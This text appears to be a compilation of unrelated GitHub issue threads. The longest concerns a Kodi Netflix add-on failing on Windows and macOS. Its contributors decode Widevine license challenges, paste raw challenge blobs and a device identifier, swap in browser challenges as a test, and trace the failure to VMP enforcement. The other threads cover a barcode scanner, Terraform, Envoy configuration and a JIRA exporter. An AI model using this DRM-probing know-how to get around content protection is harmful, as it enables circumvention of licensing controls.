Broken record, but have had this issue via kodi for some time (probs April). Thought an update in the kodi would help. Not. Then updated using the zip file from github site, but same problem occurs. On Windows 10 (PC) and Windows 11 on Laptop (using pre April zip). Thanks in advance to the devs that grind out these addons and hope they can resolve it?

By my opinon its Widevine implementation fault. Kodi depends on it. Widevine is middleware between DRM supplier (Netfilx) and player (Kodi).

By my opinon its Widevine implementation fault. Kodi depends on it. Widevine is middleware between DRM supplier (Netflix) and player (Kodi).

This is a matter of debate considering the following :

Other applications that use Widevine are not impacted.
All devices are not affected.

By my opinon its Widevine implementation fault. Kodi depends on it. Widevine is middleware between DRM supplier (Netfilx) and player (Kodi).

yes and no, i mean i doubt it is a direct failure of widevine because the library is important for all video providers
the most weird thing is that this problem impact only Windows and MacOS platforms as if it were a test bench,
netflix is famous for customising all data communications to increase protection even where they are already have a default level of protection used by all...
i said this because the error talk about of IssueLicensePolicyError this error is vague and generic like most of the errors netflix
for now my suspect are on the challenge data that we send to make the license request
by comparing the challenge data (that we receive from widevine session loaded by ISAdaptive) with the website there is something different in the data, if you decode the challenge (base64) its possible to see some extradata inside it like follow:
{"version":"1.0","esn":"NFCDFF-02-K835Y08LUW5RN2MYT8DDWGX2CRKTKD","salt":"1275686123267277113026017212840343","issueTime":1686214725,"movieId":"81478071"}
its easy also distinguish it without decoding it because the most of time the challenge data from website starts with "EvkP":
EvkPEr0BGroBCrMBChD...
and our challenge data starts with "CAES...":
CAES4gsKoQsIARKDCgrD...
my suspect is that in some way netflix customize the challenge data or wrapping it in some unknown way or iniect it with additional data, or maybe is possible insert this additional data when you open or in the middle of the widevine session idk this is really hard to understand to me... also because i found no trace of this data in the website sources
but i am also sure that this different challenge is not new, because i remember noticing it a while back (last year i think),
since everything here is a black box we do not know what happens or what Netflix has done on their server
all this is therory right or wrong

Can anybody with a working Linux plugin confirm a different version of inputstream.adapter than 20.3.2. For me this Linux plugin is pinned several minor revision back compared to the windows.

By my opinon its Widevine implementation fault. Kodi depends on it. Widevine is middleware between DRM supplier (Netfilx) and player (Kodi).

yes and no, i mean i doubt it is a direct failure of widevine because the library is important for all video providers the most weird thing is that this problem impact only Windows and MacOS platforms as if it were a test bench, netflix is famous for customising all data communications to increase protection even where they are already have a default level of protection used by all...
i said this because the error talk about of IssueLicensePolicyError this error is vague and generic like most of the errors netflix for now my suspect are on the challenge data that we send to make the license request
by comparing the challenge data (that we receive from widevine session loaded by ISAdaptive) with the website there is something different in the data, if you decode the challenge (base64) its possible to see some extradata inside it like follow: {"version":"1.0","esn":"NFCDFF-02-K835Y08LUW5RN2MYT8DDWGX2CRKTKD","salt":"1275686123267277113026017212840343","issueTime":1686214725,"movieId":"81478071"}
its easy also distinguish it without decoding it because the most of time the challenge data from website starts with "EvkP": EvkPEr0BGroBCrMBChD... and our challenge data starts with "CAES...": CAES4gsKoQsIARKDCgrD...
my suspect is that in some way netflix customize the challenge data or wrapping it in some unknown way or iniect it with additional data, or maybe is possible insert this additional data when you open or in the middle of the widevine session idk this is really hard to understand to me... also because i found no trace of this data in the website sources
but i am also sure that this different challenge is not new, because i remember noticing it a while back (last year i think), since everything here is a black box we do not know what happens or what Netflix has done on their server all this is therory right or wrong

I recommend trying to parse these challenge data in Python to see what is different if possible. The widevine's challenges are Google's protobuf. It's possible to just parse to look if there are any extra data if known in widevine.
There is this from a quick Google search: https://github.com/rlaphoenix/pywidevine/blob/db6eaef45013fd2982432957e09bfe5947c71ff7/pywidevine/remotecdm.py#LL222C31-L222C44
I don't know a way of looking at what's happening on Amazon's website (I tried). I wanted to be able to help.
I mean it makes me concerned if this is Widevine VMP issue. If I remember, VMP doesn't exist on linux?

Can anybody with a working Linux plugin confirm a different version of inputstream.adapter than 20.3.2. For me this Linux plugin is pinned several minor revision back compared to the windows.

My working verison are 20.3.9-1~jammy

Est-ce que quelqu'un avec un plugin Linux fonctionnel peut confirmer une version différente de inputstream.adapter que 20.3.2. Pour moi, ce plugin Linux est épinglé par plusieurs révisions mineures par rapport à Windows.

From my LibreElec Kodi, with Netflix Working:

@TheDaChicken i tried pywidevine but at least to me dont help me to understand something more,
i noticed that if you force replace the ISA challenge with the challenge produced by website as franketein test
example:
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

to https://github.com/CastagnaIT/plugin.video.netflix/blob/master/resources/lib/services/nfsession/msl/msl_handler.py#L327
the license request works without give errors (ofc you cant playback with a wrong license)
but this could be a confirm that website do something

fwik renewal is used for live contents, this looks as uncommon behaviour...

EDIT: more digging, basically under content_id, it seems that is what is given to the session. Instead of pssh, you give an existing key??

as you can see we pre-initialize drm by using a existing fixed pssh:
https://github.com/CastagnaIT/plugin.video.netflix/blob/master/resources/lib/navigation/player.py#L40
idk if its relevant, but also removing it, the license request behaviour and challenge from ISA its the same
maybe it is possible that some kind of customised data(?) is set up to return for the first license request,
then a renewal will be requested in second place to sent it to server as usual
but what could be attempted?

fwik renewal is used for live contents, this looks as uncommon behaviour...

EDIT: more digging, basically under content_id, it seems that is what is given to the session. Instead of pssh, you give an existing key??

as you can see we pre-initialize drm session by using a existing fixed pssh:
https://github.com/CastagnaIT/plugin.video.netflix/blob/master/resources/lib/navigation/player.py#L40
idk if its relevant, but also removing it, the license request behaviour and challenge from ISA its the same
maybe it is possible that some kind of customised data(?) is set up to return for the first license request,
then a renewal will be requested in second place to sent it to server as usual
but what could be attempted?

It may be best to edit inputstream.adaptive and see what you could do.
There is a way to create a cdm session from keyids. I assume that just creates a new license request. That isn't what we want here. We want renewal
It's possible to create customized data.
Idk what live content license response looks like?? It's possible to generate license responses using pywidevine's   Google protonbuf templates.

EDIT: more digging, basically under content_id, it seems that is what is given to the session. Instead of pssh, you give an existing key??

challenge data is generated by a session callback of cdm CreateSessionAndGenerateRequest
the same method that make the "license request" callback routed by isa to the addon
in the past when i implemented drm preinit to get session id and session challenge in advance, to attach them in the manifest request
https://github.com/xbmc/inputstream.adaptive/commit/806c6c169b7659808fb653e663f665caec7dc201#diff-9731917bd53f69c56a6bbc6f87de934f5b698b87d0971b7110efe03ead5b9661
i blocked a first request of license that otherwise is done twice, see skipSessionMessage:
https://github.com/xbmc/inputstream.adaptive/commit/806c6c169b7659808fb653e663f665caec7dc201#diff-9731917bd53f69c56a6bbc6f87de934f5b698b87d0971b7110efe03ead5b9661R593-R594
by removing that code, despite the license request is done wrongly before manifest request, the data is similar e.g.
CAES4gsKoQsIARKDCgrDAggCEhDqEfVLHgxms/MMPnSpnVZGGK3hp5kGIowBMIGJAoGBAKqxXVIMp7Cue3tftZM932iFVytOMaSfuEUXZsQuCbSzg43e09pT2CARr8IsSHWjoSRw+9+jzlHHenizx3Dt0HGnvo3B9MFO6leHL852I1NLp6Rz0YQj7yuMMT4E/+SI97G5JSbnEQN3hK+V9CM2KzLxWW3dM202Tzulkh/+jkfnAgMBAAEop9QBSAFakQEKjAEwgYkCgYEAzYNM2J9HhYmxYnDYTrQYFjTB97YiNxt8df2/s2BLHkDUYrGOJQ9uKQatYPH++/vo5bYabM3uNuFVm5+3Hn4SdcdVVgagVFo8XHM/Ml6Ym6A07r+I4v4d1ndzmGQ8nz5DZdW2teG+RTQuSSUwNNbwRSbY9XLjJ3DCWYl81K7UlPMCAwEAARABEoACIn2N9mwi4AGWBaQSKBJ54w1a/kYPep5h2g3Uil1rF6u082K4XPRE90s5uWV6UKAOh5vls3W9DMfH7VXuF93ayf1ELjOYMQ4BWd2gXcr63x5ZgP9rzpN7TtdP+oBJGMShe8bcLaDX+C9xhpnVkmXtl53GH79YUHZdBHrOE+rnCrq5JbAPgMhT/shRp49z0Tu7RMaCr1KshX5NpwSRmSgUqqYMkGgTXykKK53UdOjkQdzksB5kWUN8V1rgRTVrmfhGhXmtLsAdV208nVj618ultyt3ZRKYySGqAnC1uH+7UZwdPdUSDYTkPy0wwullZkTE7xs1eAZg7zR+RCXwMQOZpRq3BQqxAggBEhDNktHiCog3buQ1mQL6x+g0GIXDkZcGIo4CMIIBCgKCAQEAxd2Dq9kRmsgSCyE8o6witWvXsPGmcAQjEbEuicuSsBweLwEj8QiUO8ZJeWiSDYkGcCbEWd6llUpg1S88AuMyW3pkRG56mWfDedoCmatrJqYNuTAeploKS8VPcN7kBCH7UOXGNbjEkDNrE2VXjKT0VQYtI8NoP/kEfhtx/+tL3gP5E1wFMj4+GX8j3Z3Egcg5pGWuqwRdumHBbNIW1Zv6TIO66PnDqeeI7YfNAtFTFvm+mqhjAN03NVjoH89mGOiRxvSUbs91Nnfy7bjJyjae0VBgFDYxgpBS7YKSMQxsCz50JCcQrNPM2967t7OqstJ55Jje6ue+PZGWwK0qrnHdowIDAQABKKfUAUgBEoADEt6PMYDwY9yE60GPzJJ2rKlbCCLok8gKSPpzM7nUFYnn7mtdgscAJRNgArOEtBO/ByPQXXBRF4s4k7EYTYftPTumT6fLzLZGmfivDmH9LxAWDHUKwr4YAmk2B6RXYzunLSQykiJlU3wGTRiJYkcqWT+r4BOJGuo/vwhnobkXZcDkuSPNYcRvXV83UOK39GZL4S3SYPlyQ+obzR+HNMTZ5P2o921sOUejQDDSYPf3NWE9lYi620mvCBYLan79Dc1ZqJiUaMuYtnwoUjC47gznhETvJuCctaQPyE5sO+GsmoGKFCOI4KY/F6V0avl/wf4k7qhqV9F1sSNZrOtA1sFZOHgAaFFgLygEbigEovkWyJciQMjjEL8pmbHWIhAHTPkO35fGfKB4U3FSiOvX5M9CXsa0Nb9ttjj421gLUIgnTrvUnphF6maiy2oRJjBKQlrVVnwl+LApjVuNNvgGXwsc8WmYJ8x2h6Bc7oBh8qVgvpm15IK2yqF0agXP9XZyy1hRGhsKEWFyY2hpdGVjdHVyZV9uYW1lEgZ4ODYtNjQaFgoMY29tcGFueV9uYW1lEgZHb29nbGUaFwoKbW9kZWxfbmFtZRIJQ2hyb21lQ0RNGhgKDXBsYXRmb3JtX25hbWUSB1dpbmRvd3MaIwoUd2lkZXZpbmVfY2RtX3ZlcnNpb24SCzQuMTAuMjU1Ny4wMgoIABAAGAEgASgQEiwKKgoUCAESEAAAAAAD0mdJAAAAAAAAAAAQARoQlSR79LLbd9SQROQD3TMw5hgBIPj41KQGMBU4m4/40QYagAE+n/mgZEj4UBgy072qATO98bK682SeVIfQkbsuxI7DTtSblx0oU4tXpMm6p6FuC6KOcFuWsBtyXJFceVOuPkx0hARMnBaURSmRc72ckSL68eqzDYQm4b5mIxPd8JQEYPeLGDhZ8AX4QyWp11u/bH2A7LCMzieYnQqZvbED+1fwskoUAAAAAQAAABQABQAQaj4Hm1W/HdQ=

so not a "renew"
by reading the little cdm info on the net, it seems that cdm in order to have the "renew" challenge type request you should start always with "new" type

i have no idea what data to return at this callback)

This made me try something. I ended up finding Event Logger for the CDM in the browser which is very helpful to answer your question.
I didn't see anything different than what you're doing. It creates a challenge then ends the session for the manifest. It doesn't update the session.
For the challenge sent for the LICENSE, I ended up getting this:
[encoded data, 5688 characters]

This one is a NEW license request for the challenge. I don't know how you ended up getting a RENEW.
I put this into https://github.com/CastagnaIT/plugin.video.netflix/blob/master/resources/lib/services/nfsession/msl/msl_handler.py#L327 as a Frankenstein test just like you tried.
It worked. :(( this is a bad thing!!
The only difference I see is Widevine VMP :((
This shows no change in pssh aswell.
 Like what happened with Amazon Prime: https://github.com/Sandmann79/xbmc/issues/294
That's probably why it works fine for Linux. Widevine VMP doesn't exist on Linux.

i dont think there is a easy workaround, if you requesting only SD streams (like do am@zon) in the manifest the license request fails in any case
seem n€tflix has adopted VMP around the 2017 (by reading a Brave browser GH discussion)
so not new thing but they may have now removed legacy old accesses idk...
an alternative already discussed in the past is to use PlayReady DRM
theoretically feasible on the addon side
but the bigger problem is add an interface in to ISAdaptive to access to the PlayReady Windows API
where seem that windows provide api for UWP app and not "desktop" software? windows oddities

i have made a new release with the workaround for android:
https://forum.kodi.tv/showthread.php?tid=329767&pid=3157205#pid3157205
ofc still no solution for Windows/MacOS

now removed legacy old accesses idk..

Well, it's all about if they want to enforce it or not. is it a good thing to assume because I ended up getting a similar challenge that ISA creates but with Widevine VMP and it works fine?
I mean, it really just depends on the platform settings. I mean, we have to only assume. The error code is not helpful.
Then again, it's not like I can actually see the challenge requests for the LICENSE actually.

an alternative already discussed in the past is to use PlayReady DRM
theoretically feasible on the addon side (anyway limited to windows os...)
but the bigger problem is add an interface in to ISAdaptive to access to the PlayReady Windows API
where seem that windows provide api for UWP app and not "desktop" software? windows oddities

I've tried my hardest to figure out PlayReady DRM API and I couldn't figure it out. You've probably seen the examples of UWP. That's all I could find. It would be great to have PlayReady DRM support. That may work around Widevine VMP and maybe have access to higher qualities. There is this: https://github.com/Sandmann79/xbmc/issues/294#issuecomment-482503904 and it is a similar CDM interface. it is a little different!! BUT!!! They've removed the Cdm!!! It is built into Edge now. I have a copy of that "old CDM interface" and you can easily find it online I think.

@TheDaChicken i have read your message above only now i lost it on tons of many emails received...
thanks for your investigation on PlayReady and your work on ISAdaptive to try implement it
a new possibility for the future to make n€tflix works on Windows again, and maybe a little chance get also 4k resolution

I used Sandmann79 Browser Launcher in Kodi to open Netflix with a web browser as a work around for now also I watch shows using The Roku Channels via the launcher. It works great for anything using the Web browser just make sure set No for Kiosk Mode so you can close the browser and return to the Kodi GUI.

Kodi mentioned that Winvine had an update, is there any postive effect for the plugin on this?

Not sure if this is counter productive but something tells me this isnt an issue with the addon at all being that both hulu and crackle (both require widevine) do not play on windows but do on Linux.

Not sure it's a Widevine issue since addons like Amazon, Paramount, Hulu
and others use DRM plays fine on Windows in Kodi it's only Netflix that has
errors and video stops playing after 2 minutes and audio keeps playing. If
this was a DRM issue Netflix would not start playing at all and the other
plugins would be failing.
On Sat, Sep 9, 2023 at 8:17 AM rfrayer420 @.***> wrote:

Not sure if this is counter productive but something tells me this isnt an
issue with the addon at all being that both hulu and crackle (both require
widevine) do not play on windows but do on Linux.
—
Reply to this email directly, view it on GitHub
https://github.com/CastagnaIT/plugin.video.netflix/issues/1585#issuecomment-1712498039,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/BAAFTKJTNJGWUWIPCT22MHTXZRM4HANCNFSM6AAAAAAXCL4VVQ
.
You are receiving this because you commented.Message ID:
@.***>

Not sure it's a Widevine issue since addons like Amazon, Paramount, Hulu and others use DRM plays fine on Windows in Kodi it's only Netflix that has errors and video stops playing after 2 minutes and audio keeps playing. If this was a DRM issue Netflix would not start playing at all and the other plugins would be failing.

It's a widevine issue. The first 2 minutes are unencrypted.

So explain why the other DRM Plugins work? Amazon Prime and Paramount Plus
use DRM and they work great.
On Sat, Sep 9, 2023 at 4:43 PM Aidan @.***> wrote:

Not sure it's a Widevine issue since addons like Amazon, Paramount, Hulu
and others use DRM plays fine on Windows in Kodi it's only Netflix that has
errors and video stops playing after 2 minutes and audio keeps playing. If
this was a DRM issue Netflix would not start playing at all and the other
plugins would be failing.
It's a widevine issue. The first 2 minutes are unencrypted.
—
Reply to this email directly, view it on GitHub
https://github.com/CastagnaIT/plugin.video.netflix/issues/1585#issuecomment-1712597280,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/BAAFTKITMVMH2OSGN75ZBATXZTIFJANCNFSM6AAAAAAXCL4VVQ
.
You are receiving this because you commented.Message ID:
@.***>

Amazon Prime

Amazon Prime works around the issue by only providing non-HD streams on Windows due to Widevine enforcing vmp validation on Windows and Mac Os. vmp validation doesn't exist on Linux.

Hi. Is there any solution to get playback working on windows?

I wanted to share that I think I am getting the same issue now but on Libreelec.
I copied the MSL error information: https://paste.kodi.tv/oxuniribej

I can confirm the same error on LibreELEC-RPi2.arm-9.2.8.img.gz and Netflix Plugin https://github.com/CastagnaIT/plugin.video.netflix/releases/tag/v1.12.15 for about a week ago.
I tried almost every hint in this issue section, but nothing really works.
Probably a helping information is, that the problem exists only @ ONE Netflix profile (my personal one).
The kids profile works like charm.
Regards.

@will-code-for-pizza
Me2. Glad to be not alone :-)

that you are trying to use the old addon versions to try circumvent the advertising

Thats not true. The plugin runs like charm for months - with an Netflix ADS plan.
But I have to say, that these ADS were rarely shown.
Nevertheless, the plugin worked long time ago. And without changes in version, it stops playing videos from one day to another.


show question after connecting wallet

it does not need. get question does not need account just call contract pure method not via account


Wrong rawValue on scan

Using the latest version of mobile_scanner often the value returned from rawValue is not the expected value.
Use with BAR CODE.
The best way to reproduce the problem is to start the MobileScanner with a barcode already in front of the camera.
My code:
class ScanTicketPage extends StatefulWidget {
  const ScanTicketPage({Key? key}) : super(key: key);

  // This widget is the home page of your application. It is stateful, meaning
  // that it has a State object (defined below) that contains fields that affect
  // how it looks.

  // This class is the configuration for the state. It holds the values (in this
  // case the title) provided by the parent (in this case the App widget) and
  // used by the build method of the State. Fields in a Widget subclass are
  // always marked "final".
  @override
  State<ScanTicketPage> createState() => _ScanTicketPageState();
}

class _ScanTicketPageState extends TranslateState<ScanTicketPage> {
  late MobileScannerController _scannerController;
  bool _submitted = false;
  TicketData? _ticketData;

  @override
  initState() {
    super.initState();
    _scannerController = MobileScannerController(
      facing: CameraFacing.back,
      torchEnabled: false,
    );
  }

  // ...

  getTicketInfo(String barcode) {
    // ... Check if exist ticket with given barcode
  }

  @override
  Widget build(BuildContext context) {
    return Scaffold(
      appBar: AppBar(),
      body: SingleChildScrollView(
        child: Column(
          children: [
            Column(
              children: [
                // ...
                Container(
                  margin: const EdgeInsets.symmetric(vertical: 20),
                  height: MediaQuery.of(context).size.height * 0.5,
                  child: MobileScanner(
                    allowDuplicates: false,
                    fit: BoxFit.cover,
                    controller: _scannerController,
                    onDetect: (barcode, args) {
                      if (barcode.rawValue != null && !_submitted) {
                        getTicketInfo(barcode.rawValue!);
                      }
                    },
                  ),
                ),
                // ...
              ],
            ),
          ],
        ),
      ),
    );
  }
}

Expected value:<PHONE_NUMBER>88446333
Here are the results of some attempts:<PHONE_NUMBER>416333,<PHONE_NUMBER>88446333,<PHONE_NUMBER>,<PHONE_NUMBER>88446333,<PHONE_NUMBER>85446333,<PHONE_NUMBER>723030772303077230307788446333,<PHONE_NUMBER>85446333

Did you find any solution?

facing same issue.

Did you find any solution or any other package? I am also getting the wrong raw values. Thanks

I haven't found any solutions yet.
There are other plugins for reading barcodes and QR Codes but they all open the camera in a new page.

is this related to allowDuplicates option?

is this related to allowDuplicates option?

@quiquegarcia  No, the problem occurs with both allowDuplicates true and allowDuplicates false.

Tried reading this barcode which should return raw value 2. But it returned 13, 17, 16300604, 16494531.
version: 1.1.1

Since this library uses MLKit, I think it needs to be supported by Google.
It seems to be a known bug on the MLKit side.
(I am using Deepl)
https://github.com/googlesamples/mlkit/issues/367
https://issuetracker.google.com/u/1/issues/207732702

same problem.

Unfortunately this is not a problem of this plugin but MLKit.


Create tilestore Reprojection step

This will be implemented in the kettle plugin environment.  This will encompass a retroject processing step, meta interface, data interface and UI interface for the plugin

this is first part for resolving issue 186

I have this done but I need to also create a reproduction on the source meta information.  So if a tile layer is being exported I need to retroject the total coverage onto the target projection.  This does not only include the bounds/aoi/cut of the request but also the resolution levels to query on the target projection

Finished doing a reproduction step


Terraform plugin: add Terragrunt support

Platform or tool
Terraform
Desired or expected behavior
Hi, I'd like that your Terraform plugin cover Terragrunt as well.
Current behavior
Terragrunt does not work with Terraform plugin by 1P
Relevant log output
https://github.com/gruntwork-io/terragrunt/issues/3295

op CLI version
2.30.0-beta.03

Potentially related to https://github.com/1Password/shell-plugins/issues/230

Potentially related to https://github.com/1Password/shell-plugins/pull/424


Access log extension issue

Description: There is an error while loading the YAML file with the specified extention for access logs
extension: type.googleapis.com/envoy.extensions.access_loggers.file.v3.FileAccessLog

What issue is being seen?
After adding the access log filter under "http_filters" section:
http_filters:
- name: envoy.access_loggers.file
typed_config:
"@type": type.googleapis.com/envoy.extensions.access_loggers.file.v3.FileAccessLog

Config:
static_resources:
listeners:
- name: listener_0
address:
socket_address:
address: <IP_ADDRESS>
port_value: 443
filter_chains:
- filters:
- name: envoy.filters.network.http_connection_manager
typed_config:
"@type": "type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager"
stat_prefix: http_proxy
route_config:
name: all
virtual_hosts:
- name: cluster_hackazon
domains:
- '*'
routes:
- match: { prefix: "/"}
route:
cluster: cluster_hackazon
hash_policy:
- cookie:
name: persistence
ttl: 86400s
http_filters:
- name: envoy.access_loggers.file
typed_config:
"@type": type.googleapis.com/envoy.extensions.access_loggers.file.v3.FileAccessLog
# path: "/dev/stdout"
# typed_json_format:
#   client.address: "%DOWNSTREAM_REMOTE_ADDRESS%"
#   envoy.route.name: "%ROUTE_NAME%"
#   http.request.headers.id: "%REQ(X-REQUEST-ID)%"
#   service.name: "envoy"
- name: envoy.filters.http.lua
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.http.lua.v3.Lua
default_source_code:
filename: /etc/envoy/lua/rdwr_oop_connector.lua
- name: envoy.filters.http.router
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.http.router.v3.Router
transport_socket:
name: envoy.transport_socket.tls
typed_config:
"@type": type.googleapis.com/envoy.extensions.transport_sockets.tls.v3.DownstreamTlsContext
common_tls_context:
tls_certificates:
certificate_chain:
filename: /etc/envoy/ssl/cert.pem
private_key:
filename: /etc/envoy/ssl/private.pem
alpn_protocols: ["h2,http/1.1"]
clusters:
- name: cluster_hackazon
connect_timeout: 1s
type: STATIC
lb_policy: RING_HASH
load_assignment:
cluster_name: cluster_hackazon
endpoints:
- lb_endpoints:
- endpoint:
address:
socket_address:
address: <IP_ADDRESS>
port_value: 80
- endpoint:
address:
socket_address:
address: <IP_ADDRESS>
port_value: 80
- name: cluster_cwaf
connect_timeout: 1s
type: logical_dns
lb_policy: round_robin
load_assignment:
cluster_name: cluster_cwaf
endpoints:
- lb_endpoints:
- endpoint:
address:
socket_address:
address: <IP_ADDRESS>
port_value: 443
transport_socket:
name: envoy.transport_sockets.tls
typed_config:
"@type": type.googleapis.com/envoy.extensions.transport_sockets.tls.v3.UpstreamTlsContext
Logs:
[2022-08-02 10:16:17.161][1][critical][main] [source/server/server.cc:117] error initializing configuration '/etc/envoy/envoy.yaml': Didn't find a registered implementation for 'envoy.access_loggers.file' with type URL: 'envoy.extensions.access_loggers.file.v3.FileAccessLog'
[2022-08-02 10:16:17.162][1][info][main] [source/server/server.cc:962] exiting
[2022-08-02 10:16:17.163][1][info][dns] [source/extensions/network/dns_resolver/cares/dns_impl.cc:540] c-ares library cleaned up.
Didn't find a registered implementation for 'envoy.access_loggers.file' with type URL: 'envoy.extensions.access_loggers.file.v3.FileAccessLog'

Note: Pl

are you perhaps building envoy without that extension linked in?
https://github.com/envoyproxy/envoy/blob/main/bazel/README.md#enabling-and-disabling-extensions

@alyssawilk
I build the container image with the command:
docker build -t envoy . && docker run -dit --name Envoy -p 443:443 envoy
according to the YAML file I specified in first comment is there anything else I should do ?

@daniel-yaba which command do you build for Envoy binary?

cc @phlax

I used version 1.23:latest from docker hub in my Dockerfile
then I created my own docker image with the YAML file as I specified above and then run my docker image

        access_log:
          - name: envoy.access_loggers.file
            typed_config:
              "@type": type.googleapis.com/envoy.extensions.access_loggers.file.v3.FileAccessLog
              path: "/dev/stdout"
        http_filters:
          - name: envoy.filters.http.lua
            typed_config:
              "@type": type.googleapis.com/envoy.extensions.filters.http.lua.v3.Lua
              default_source_code:
                filename: /etc/envoy/lua/rdwr_oop_connector.lua
          - name: envoy.filters.http.router
            typed_config:
              "@type": type.googleapis.com/envoy.extensions.filters.http.router.v3.Router

Perhaps the access log should be specified under access_log field (envoy docs)?

i suspect this is a mismatch issue between the version of Envoy that you are using and the docs you are following - could you check both

@suniltheta I changed the access logs to be under filters and not inside http_filters as in your comment and it seems to work fine
thanks a lot !!


fix: Allow missing projects in JIRA exporter

Describe the behavior changes introduced in this PR
Ignores missing projects when exporting JIRA issues.
Linked Issues?
resolves #455
Testing Instructions
Uncomment the test in exporters/tests/test_failure_exporter.py with your credentials and run integration tests.
@redhat-cop/mdt

I would change the logic of the __init__ to only call JIRA connection once.
I did not test the integration of this fix with the whole project.
I did not write new tests (I was in a hurry, but I can do it in the following days).

I updated the logic to only call JIRA connection once. But still did not write new tests.

We should check if this fix is included in #720, or if we should rebase on top of that once it's merged.

/retest

/retest

/ok-to-test

I had final round of testing. Everything looks great, tested works as expected.
One comment which is also on the main branch, so could be fixed as separate PR:

if we configure APP_LABEL together, APP_LABEL is ignored and all issues are returned. For our test server it should return 2 open/close items so 4 items, but all of the labels are returned:

export TOKEN=<token>
export API_USER=<user>
export SERVER=https://pelorustest.atlassian.net/
export APP_LABEL='my.app.label/name'
unset JIRA_JQL_SEARCH_QUERY
